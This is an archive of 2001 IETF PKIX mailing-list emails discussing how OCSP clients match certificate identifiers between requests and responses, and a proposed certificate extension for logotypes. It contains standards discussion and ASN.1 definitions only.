Received: from infosys.tuwien.ac.at (nfs1.infosys.tuwien.ac.at [128.131.172.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA01513 for <[e-mail]>; Sun, 18 Mar 2001 12:41:39 -0800 (PST)
Received: from pent22.infosys.tuwien.ac.at (pent22.infosys.tuwien.ac.at [128.131.172.92]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id VAA09377; Sun, 18 Mar 2001 21:41:19 +0100 (MET)
Received: (from robinson@localhost) by pent22.infosys.tuwien.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA30372; Sun, 18 Mar 2001 21:42:00 +0100
Received: from above.proper.com (above.proper.com [208.184.76.39]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id SAA04968 for <[e-mail]>; Thu, 15 Mar 2001 18:01:19 +0100 (MET)
Received: from localhost (daemon@localhost) by above.proper.com (8.9.3/8.9.3) with SMTP id JAA23222; Thu, 15 Mar 2001 09:01:15 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 15 Mar 2001 08:58:09 -0800
Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA22941 for <[e-mail]>; Thu, 15 Mar 2001 08:58:07 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 16:56:43 +0000
Subject: RE: Matching CertIDs between OCSP requests and responses
X-To: [e-mail]
Cc: [e-mail], [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 16:55:32 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 15/03/2001 04:57:17 PM
MIME-Version: 1.0
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe
Content-Type: text/plain; charset=us-ascii
Status: O
X-Status: 
X-Keywords:                  
X-UID: 2012
To: [e-mail]

I think that the ability to specify multiple certificates is useful, in
particular for validating a non-trivial certificate chain.  In this case,
it makes sense to trust the chain only as much as the least trusted
certificate in the chain.

However, the delegated OCSP signing model isn't ideally suited to
certificate chains - you have to use the trusted authority OCSP signing
model instead.  This subject has been discussed on this list previously.

Jonathan
----------------
Dr Jonathan Tuliani
www.symbian.com



                                                                                               
                    [e-mail]                                                            
                    land.ac.nz             To:     [e-mail]                           
                    (Peter Gutmann)        cc:                                                 
                    Sent by:               Subject:     RE: Matching CertIDs between OCSP      
                    [e-mail]        requests and responses                              
                    land.ac.nz                                                                 
                                                                                               
                                                                                               
                    16/03/01 05:20                                                             
                    Please respond                                                             
                    to pgut001                                                                 
                                                                                               
                                                                                               




[e-mail]

>The idea of non-global errors is interesting, I hadn't thought about that.
It
>might be useful where multiple certificates are present in the request.

Is anyone (apart from Identrus, who do it for political/economic rather
than
technical reasons) doing this to any extent?  There is anecdotal evidence
which
suggests that implementors are using only one cert per query, having
multiple
certs per query is hideous in terms of handling responses (let's see now,
this
one is OK, this one isn't, we don't know about this one... no, the third
one,
not the second one... no that one's OK, you want the one next to it... etc
etc).  Although my code supports the ability to query multiple certs at
once, I
haven't enabled it because handling mixed responses is just too messy, it's
much, *much* easier to work with if you do it on the basis of "Is this cert
revoked or not?" rather than "Tell me whatever you can about this bundle of
stuff, and I'll try and figure out what's what from your response".

Peter.






**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************



Received: from infosys.tuwien.ac.at (nfs1.infosys.tuwien.ac.at [128.131.172.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA01479 for <[e-mail]>; Sun, 18 Mar 2001 12:41:37 -0800 (PST)
Received: from pent22.infosys.tuwien.ac.at (pent22.infosys.tuwien.ac.at [128.131.172.92]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id VAA09371; Sun, 18 Mar 2001 21:41:19 +0100 (MET)
Received: (from robinson@localhost) by pent22.infosys.tuwien.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA30366; Sun, 18 Mar 2001 21:42:00 +0100
Received: from above.proper.com (above.proper.com [208.184.76.39]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id RAA04903 for <[e-mail]>; Thu, 15 Mar 2001 17:54:34 +0100 (MET)
Received: from localhost (daemon@localhost) by above.proper.com (8.9.3/8.9.3) with SMTP id IAA22775; Thu, 15 Mar 2001 08:54:29 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 15 Mar 2001 08:51:02 -0800
Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA22469 for <[e-mail]>; Thu, 15 Mar 2001 08:51:01 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 16:49:37 +0000
Subject: Re: Matching CertIDs between OCSP requests and responses
X-To: [e-mail]
Cc: [e-mail], [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 16:48:25 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 15/03/2001 04:50:10 PM
MIME-Version: 1.0
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe
Content-Type: text/plain; charset=us-ascii
Status: O
X-Status: 
X-Keywords:                  
X-UID: 2010
To: [e-mail]

What I'm getting at is a slightly different issue with OCSP v2.  This has
several means for the request and response to identify the certificate:

ReqCert  ::= CHOICE {
   certID            CertID,
   issuerSerial      [0] IssuerandSerialNumber,
   pKCert            [1] Certificate,
   name              [2] GeneralName,
   certHash          [3] OCTET STRING}

However, there doesn't seem to be any condition requiring the response to
use the same method as was used in the request.  The request could use an
IssuerAndSerialNumber, and the response could then identify the same
certificate using CertID.  Should the response be forced to use the same
technique as the request?  How does this affect response pre-computation?

Jonathan



                                                                                               
                    [e-mail]                                                            
                    land.ac.nz             To:     [e-mail]                
                    (Peter Gutmann)        cc:     [e-mail]                           
                    Sent by:               Subject:     Re: Matching CertIDs between OCSP      
                    [e-mail]        requests and responses                              
                    land.ac.nz                                                                 
                                                                                               
                                                                                               
                    16/03/01 05:31                                                             
                    Please respond                                                             
                    to pgut001                                                                 
                                                                                               
                                                                                               




[e-mail] writes:

>Section 4.3 of OCSP v1 states that responders SHALL support SHA1 - it
doesn't
>say that they MUST use it.  Suppose I send a request, in which my CertID
has
>used SHA1.  Suppose the responder then replies, but uses MD5 to form the
>CertID term corresponding to the same certificate.  Then the matching of
the
>CertID term between request and response becomes less trivial than a
simple
>binary comparison.

Anecdotal evidence (that chap again) suggests that everyone uses SHA1
exclusively.  Have you tried submitting a request hashed with MD5 to see
how
many servers you can break?

>As mentioned earlier, the complexity of matching certificate identifiers
>between request and response increases in v2, where there are so many
other
>ways to identify a certificate.

Yes, but they're all unique (there's only one way to encode an
issuerAndSerialNumber, certificate, etc), a binary compare should do for
this.

I'll do a bit of experimenting next week, but I'd be very surprised if a
binary
compare failed for any responder.

Peter.






**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************



Received: from infosys.tuwien.ac.at (nfs1.infosys.tuwien.ac.at [128.131.172.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA01470 for <[e-mail]>; Sun, 18 Mar 2001 12:41:36 -0800 (PST)
Received: from pent22.infosys.tuwien.ac.at (pent22.infosys.tuwien.ac.at [128.131.172.92]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id VAA09324; Sun, 18 Mar 2001 21:41:17 +0100 (MET)
Received: (from robinson@localhost) by pent22.infosys.tuwien.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA30333; Sun, 18 Mar 2001 21:41:58 +0100
Received: from above.proper.com (above.proper.com [208.184.76.39]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id RAA04546 for <[e-mail]>; Thu, 15 Mar 2001 17:12:41 +0100 (MET)
Received: from localhost by above.proper.com (8.9.3/8.9.3) with SMTP id IAA19870; Thu, 15 Mar 2001 08:12:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 15 Mar 2001 08:07:19 -0800
Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA19370 for <[e-mail]>; Thu, 15 Mar 2001 08:07:18 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA05231; Fri, 16 Mar 2001 05:07:11 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98467243112417>; Fri, 16 Mar 2001 05:07:11 (NZDT)
From: [e-mail] (Peter Gutmann)
X-To: [e-mail]
Subject: Re:  Matching CertIDs between OCSP requests and responses
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 16 Mar 2001 05:07:11 (NZDT)
Message-ID: <[e-mail]>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe
Content-Type: text
Status: O
X-Status: 
X-Keywords:                  
X-UID: 1999
To: [e-mail]

[e-mail] writes:

>Another OCSP (v1) question:  Can a client assume that the OCSP response CertID
>terms will precisely match those from the request?  

I would hope they do, otherwise there's a trivial attack which completely
defeats OCSP:

- You submit a request for a check of cert X (which has been revoked)
- What arrives at the CA is a request for a check of cert Y (which hasn't)
- You get back a response of "OK"

Unless you check the returned ID data there's no way you can detect this.  What
I'm doing is a binary compare of request and response ID data, if they differ I
don't trust the response.

(There's a second, slightly less trivial attack which you can perform if nonces
 aren't used, once I can determine experimentally how well-supported these are
 in practice (the "no critical extensions" requirement in the spec doesn't help
 much with this) I'll see if I can make them mandatory in my code).

Peter.




Received: from infosys.tuwien.ac.at (nfs1.infosys.tuwien.ac.at [128.131.172.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA01471 for <[e-mail]>; Sun, 18 Mar 2001 12:41:36 -0800 (PST)
Received: from pent22.infosys.tuwien.ac.at (pent22.infosys.tuwien.ac.at [128.131.172.92]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id VAA09347; Sun, 18 Mar 2001 21:41:18 +0100 (MET)
Received: (from robinson@localhost) by pent22.infosys.tuwien.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA30348; Sun, 18 Mar 2001 21:41:59 +0100
Received: from above.proper.com (above.proper.com [208.184.76.39]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id RAA04658 for <[e-mail]>; Thu, 15 Mar 2001 17:21:02 +0100 (MET)
Received: from localhost (daemon@localhost) by above.proper.com (8.9.3/8.9.3) with SMTP id IAA20744; Thu, 15 Mar 2001 08:20:58 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 15 Mar 2001 08:17:50 -0800
Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA20300 for <[e-mail]>; Thu, 15 Mar 2001 08:17:49 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 16:16:24 +0000
Subject: Re: Matching CertIDs between OCSP requests and responses
X-To: [e-mail]
Cc: [e-mail], [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 16:15:13 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 15/03/2001 04:16:58 PM
MIME-Version: 1.0
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe
Content-Type: text/plain; charset=us-ascii
Status: O
X-Status: 
X-Keywords:                  
X-UID: 2004
To: [e-mail]

Peter, all,

Yes, clearly clients must match certificate identifiers between request and
response.  However, the problem I was trying to highlight was just how this
matching should be performed.

Section 4.3 of OCSP v1 states that responders SHALL support SHA1 - it
doesn't say that they MUST use it.  Suppose I send a request, in which my
CertID has used SHA1.  Suppose the responder then replies, but uses MD5 to
form the CertID term corresponding to the same certificate.  Then the
matching of the CertID term between request and response becomes less
trivial than a simple binary comparison.

As mentioned earlier, the complexity of matching certificate identifiers
between request and response increases in v2, where there are so many other
ways to identify a certificate.

The question is: can we trust the responder to use the same form of
certificate identifier as the client specified, so that the trivial binary
comparison of certificate identifier in the client is valid?

This problem is particularly acute in the situation where the responses are
pre-computed rather than being formatted on receipt of the request.

Regards,

Jonathan
---------------
Dr Jonathan Tuliani
www.symbian.com



                                                                                               
                    [e-mail]                                                            
                    land.ac.nz             To:     [e-mail]                
                    (Peter Gutmann)        cc:     [e-mail]                           
                    Sent by:               Subject:     Re: Matching CertIDs between OCSP      
                    [e-mail]        requests and responses                              
                    land.ac.nz                                                                 
                                                                                               
                                                                                               
                    16/03/01 05:07                                                             
                    Please respond                                                             
                    to pgut001                                                                 
                                                                                               
                                                                                               




[e-mail] writes:

>Another OCSP (v1) question:  Can a client assume that the OCSP response
CertID
>terms will precisely match those from the request?

I would hope they do, otherwise there's a trivial attack which completely
defeats OCSP:

- You submit a request for a check of cert X (which has been revoked)
- What arrives at the CA is a request for a check of cert Y (which hasn't)
- You get back a response of "OK"

Unless you check the returned ID data there's no way you can detect this.
What
I'm doing is a binary compare of request and response ID data, if they
differ I
don't trust the response.

(There's a second, slightly less trivial attack which you can perform if
nonces
 aren't used, once I can determine experimentally how well-supported these
are
 in practice (the "no critical extensions" requirement in the spec doesn't
help
 much with this) I'll see if I can make them mandatory in my code).

Peter.






**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************



Received: from infosys.tuwien.ac.at (nfs1.infosys.tuwien.ac.at [128.131.172.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA01472 for <[e-mail]>; Sun, 18 Mar 2001 12:41:36 -0800 (PST)
Received: from pent22.infosys.tuwien.ac.at (pent22.infosys.tuwien.ac.at [128.131.172.92]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id VAA09351; Sun, 18 Mar 2001 21:41:18 +0100 (MET)
Received: (from robinson@localhost) by pent22.infosys.tuwien.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA30354; Sun, 18 Mar 2001 21:41:59 +0100
Received: from above.proper.com (above.proper.com [208.184.76.39]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id RAA04746 for <[e-mail]>; Thu, 15 Mar 2001 17:34:25 +0100 (MET)
Received: from localhost by above.proper.com (8.9.3/8.9.3) with SMTP id IAA21928; Thu, 15 Mar 2001 08:34:21 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 15 Mar 2001 08:31:10 -0800
Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA21572 for <[e-mail]>; Thu, 15 Mar 2001 08:31:09 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA05533; Fri, 16 Mar 2001 05:31:04 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98467386412830>; Fri, 16 Mar 2001 05:31:04 (NZDT)
From: [e-mail] (Peter Gutmann)
X-To: [e-mail]
Subject: Re: Matching CertIDs between OCSP requests and responses
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 16 Mar 2001 05:31:04 (NZDT)
Message-ID: <[e-mail]>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe
Content-Type: text
Status: O
X-Status: 
X-Keywords:                  
X-UID: 2006
To: [e-mail]

[e-mail] writes:

>Section 4.3 of OCSP v1 states that responders SHALL support SHA1 - it doesn't
>say that they MUST use it.  Suppose I send a request, in which my CertID has
>used SHA1.  Suppose the responder then replies, but uses MD5 to form the
>CertID term corresponding to the same certificate.  Then the matching of the
>CertID term between request and response becomes less trivial than a simple
>binary comparison.

Anecdotal evidence (that chap again) suggests that everyone uses SHA1
exclusively.  Have you tried submitting a request hashed with MD5 to see how
many servers you can break?

>As mentioned earlier, the complexity of matching certificate identifiers
>between request and response increases in v2, where there are so many other
>ways to identify a certificate.

Yes, but they're all unique (there's only one way to encode an
issuerAndSerialNumber, certificate, etc), a binary compare should do for this.

I'll do a bit of experimenting next week, but I'd be very surprised if a binary
compare failed for any responder.

Peter.




Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA28790 for <[e-mail]>; Sun, 18 Mar 2001 11:44:15 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Sun, 18 Mar 2001 11:44:12 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Sun, 18 Mar 2001 11:44:11 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <G7DHVV2T>; Sun, 18 Mar 2001 11:37:43 -0800
Content-return: allowed
Date: Sun, 18 Mar 2001 11:37:41 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Logotypes in certificates
To: "'Trevor Freeman'" <[e-mail]>, Stefan Santesson <[e-mail]>, David Cross <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Trevor,
    Isn't it possible that IE/Communicator show the logo next to
the lock symbol when displaying securely downloaded pages? Doesn't
require the user to do something different and let's you associate
the site with a logo that you are familiar with.

Might help with the kinds of attacks where people try to send
you to paypai.com rather than paypal.com

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Trevor Freeman [mailto:[e-mail]]
> Sent: Sunday, March 18, 2001 10:42 AM
> To: Stefan Santesson; David Cross; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Hi Stefan,
> The fundamental gap here is that most users don't know what a
> certificate is, and are happy that they just get a simple icon if
> everything is ok or not rather than some UI detailing the 
> content of the
> credential. Most users never look as the certificate UI.
> Trevor
> 
> -----Original Message-----
> From: Stefan Santesson [mailto:[e-mail]] 
> Sent: Saturday, March 17, 2001 4:14 PM
> To: David Cross; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> David,
> 
> Comment in line;
> 
> At 18:46 2001-03-16 -0800, David Cross wrote:
> >Stefan:
> >
> >Some comments -
> >
> >First:  I do not think that this should be considered for son of 
> >RFC2459
> >- we do not want to hold this up to consider this proposal.
> 
> That's OK with me.
> 
> >
> >Second:  I do not see how applications will make use of this 
> >information.  How do you see it being used?
> 
> Well first I would like to state that I now of several 
> applications that
> 
> would use this information if it was available. This is typically any 
> application which includes a function to display a certificates to a
> human 
> user. These applications will seek to have a display format 
> which makes 
> sense to the user. These applications can, if logotype data 
> is present, 
> choose to download these logotypes and display them to the 
> user when a 
> certificate is displayed.
> 
> Applications don't caring about logos won't be effected since 
> they just 
> ignore this information without problem. The logo is only a display 
> function and has no part in any DN or alternative name.
> 
> We will surely implement this in certificates if this gets to be
> supported 
> by any standard.
> 
> /Stefan
> 
> >
> >Third:  People are complaining about size of certs now, this will 
> >expand that issue
> 
> Everything is a tradeoff. In this case we can meet an 
> important business
> 
> need with just a few bytes. I think this is one of those cases that 
> definitely is worth it.
> 
> /Stefan
> 
> >
> >
> >David B. Cross
> >
> >
> >         -----Original Message-----
> >         From: Stefan Santesson [mailto:[e-mail]]
> >         Sent: Thursday, March 15, 2001 3:22 PM
> >         To: [e-mail]
> >         Subject: Logotypes in certificates
> >
> >
> >         In last PKIX meeting in San Diego I presented some 
> thoughts on
> 
> >creating a new extension for inclusion of logotype information in 
> >certificates.
> >
> >         Last in this mail I include a primary suggested outline for 
> >such extension.
> >
> >         But first a short summary of the rationale:
> >
> >         At a first glance it may seem irrelevant to include 
> logotype 
> >information in certificates and a natural first reaction is 
> "OH NO... 
> >NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
> >
> >         The fact is though that at the ETSI meeting this 
> week (In the 
> >group that handles European standards related to electronic 
> >signatures). IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE 
> >DATA WOULD BE VERY USEFUL.
> >
> >         Why is that so?
> >
> >         The answer is that logotypes are carriers of trust and are 
> >widely recognized tools for trust recognition. Have you ever thought 
> >why EVERY physical instrument of trust, from loyalty cards, credit 
> >cards to Passports, contain trust symbols in the form of logotypes.
> >
> >         Are certificates different? ABSOLUTELY NOT!!
> >
> >         If PKI is to take off in the private market, the 
> certificates 
> >must be user friendly and carry the same functionality (in electronic
> >form) as ID-cards, passports and other physical ID:s do in physical 
> >form. And logotypes are a FUNDAMENTAL part of that.
> >
> >         Without logotypes, certificates can only be handled and 
> >presented as textual information for technically oriented 
> users. This 
> >is the reality I see.
> >
> >         What is your observation?
> >
> >         How can we then do this?
> >
> >         Technically speaking, we don't have to include the actual 
> >logotype image and we don't have to destroy legacy applications.
> >         I would suggest that we use the same mechanism that we 
> >specified for biometric data in RFC 3039 where a 
> non-critical extension
> 
> >can include for each logotype:
> >
> >         -  type of logo
> >         -  type of hash algorithm
> >         -  hash of logotype data
> >         -  URI to location of data
> >
> >         This will only take a few bytes but will allow new 
> >applications to import relevant logotypes, signed by the 
> issuer of the 
> >certificate, to be displayed to the user.
> >
> >         So... What to do with this?
> >
> >         If this is to be proceeded at all, It could be part 
> of son of 
> >RFC 2459, it could be part of a new RFC 3039 and it could be a new 
> >draft or merged with some other work. I'm open for suggestions.
> >
> >         I hope to be able to meet with many of you and 
> discuss this in
> 
> >Minneapolis next week.
> >
> >         /Stefan Santesson
> >
> >
> >         logotypeInfo  EXTENSION ::= {
> >                   SYNTAX             LogotypeSyntax
> >                   IDENTIFIED BY      id-pe-logotypeInfo }
> >
> >               id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
> >
> >               LogotypeSyntax ::= SEQUENCE OF LogotypeData
> >
> >               LogotypeData ::= SEQUENCE {
> >                   typeOfLogotype       TypeOflogotype,
> >                   hashAlgorithm        AlgorithmIdentifier,
> >                   logotypeDataHash     OCTET STRING,
> >                   sourceDataUri        IA5String OPTIONAL }
> >
> >               TypeOflogotype ::= CHOICE {
> >                   predefinedLogotypeType    PredefinedLogotypeType,
> >                   LogotypeTypeID            OBJECT IDENTIFIER }
> >
> >               PredefinedLogotypeType ::= INTEGER {
> >                   subject-organization-logotype(0),
> >                   issuer-organization-logotype(1)
> >                   CA-network-logotype(2)}
> >                   (subject-organization-logotype|
> >                    issuer-organization-logotype|
> >                     CA-network-logotype,...)
> >
> >
> >         The predefined logotype types are
> >
> >         subject-organization-logotype, if used, SHALL be used to 
> >include a logotype of the subject organization. The logotype 
> SHALL be 
> >consistent with, and require the presence of, an organization name 
> >stored in the organization attribute in the subject field.
> >
> >         issuer-organization-logotype, if used, SHALL be used to 
> >include a logotype of the issuer organization. The logotype SHALL be 
> >consistent with, and require the presence of, an organization name 
> >stored in the organization attribute in the issuer field.
> >
> >         CA-network-logotype, if used, SHALL be used to include a 
> >logotype used by a network of CA services, provided by one 
> or several 
> >independent CA's, within which the issuer claims to issue this 
> >certificate.
> >
> >
> 


Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA24500 for <[e-mail]>; Sun, 18 Mar 2001 10:41:48 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Sun, 18 Mar 2001 10:42:08 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 18 Mar 2001 10:42:13 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Sun, 18 Mar 2001 10:42:13 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4668.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Logotypes in certificates
Date: Sun, 18 Mar 2001 10:42:12 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logotypes in certificates
Thread-Index: AcCvQYQnChwVkky9TLiQhLmHhK194wAmGPqg
From: "Trevor Freeman" <[e-mail]>
To: "Stefan Santesson" <[e-mail]>, "David Cross" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 18 Mar 2001 18:42:13.0155 (UTC) FILETIME=[25B2D730:01C0AFDB]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id KAA24501

Hi Stefan,
The fundamental gap here is that most users don't know what a
certificate is, and are happy that they just get a simple icon if
everything is ok or not rather than some UI detailing the content of the
credential. Most users never look as the certificate UI.
Trevor

-----Original Message-----
From: Stefan Santesson [mailto:[e-mail]] 
Sent: Saturday, March 17, 2001 4:14 PM
To: David Cross; [e-mail]
Subject: RE: Logotypes in certificates


David,

Comment in line;

At 18:46 2001-03-16 -0800, David Cross wrote:
>Stefan:
>
>Some comments -
>
>First:  I do not think that this should be considered for son of 
>RFC2459
>- we do not want to hold this up to consider this proposal.

That's OK with me.

>
>Second:  I do not see how applications will make use of this 
>information.  How do you see it being used?

Well first I would like to state that I now of several applications that

would use this information if it was available. This is typically any 
application which includes a function to display a certificates to a
human 
user. These applications will seek to have a display format which makes 
sense to the user. These applications can, if logotype data is present, 
choose to download these logotypes and display them to the user when a 
certificate is displayed.

Applications don't caring about logos won't be effected since they just 
ignore this information without problem. The logo is only a display 
function and has no part in any DN or alternative name.

We will surely implement this in certificates if this gets to be
supported 
by any standard.

/Stefan

>
>Third:  People are complaining about size of certs now, this will 
>expand that issue

Everything is a tradeoff. In this case we can meet an important business

need with just a few bytes. I think this is one of those cases that 
definitely is worth it.

/Stefan

>
>
>David B. Cross
>
>
>         -----Original Message-----
>         From: Stefan Santesson [mailto:[e-mail]]
>         Sent: Thursday, March 15, 2001 3:22 PM
>         To: [e-mail]
>         Subject: Logotypes in certificates
>
>
>         In last PKIX meeting in San Diego I presented some thoughts on

>creating a new extension for inclusion of logotype information in 
>certificates.
>
>         Last in this mail I include a primary suggested outline for 
>such extension.
>
>         But first a short summary of the rationale:
>
>         At a first glance it may seem irrelevant to include logotype 
>information in certificates and a natural first reaction is "OH NO... 
>NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
>
>         The fact is though that at the ETSI meeting this week (In the 
>group that handles European standards related to electronic 
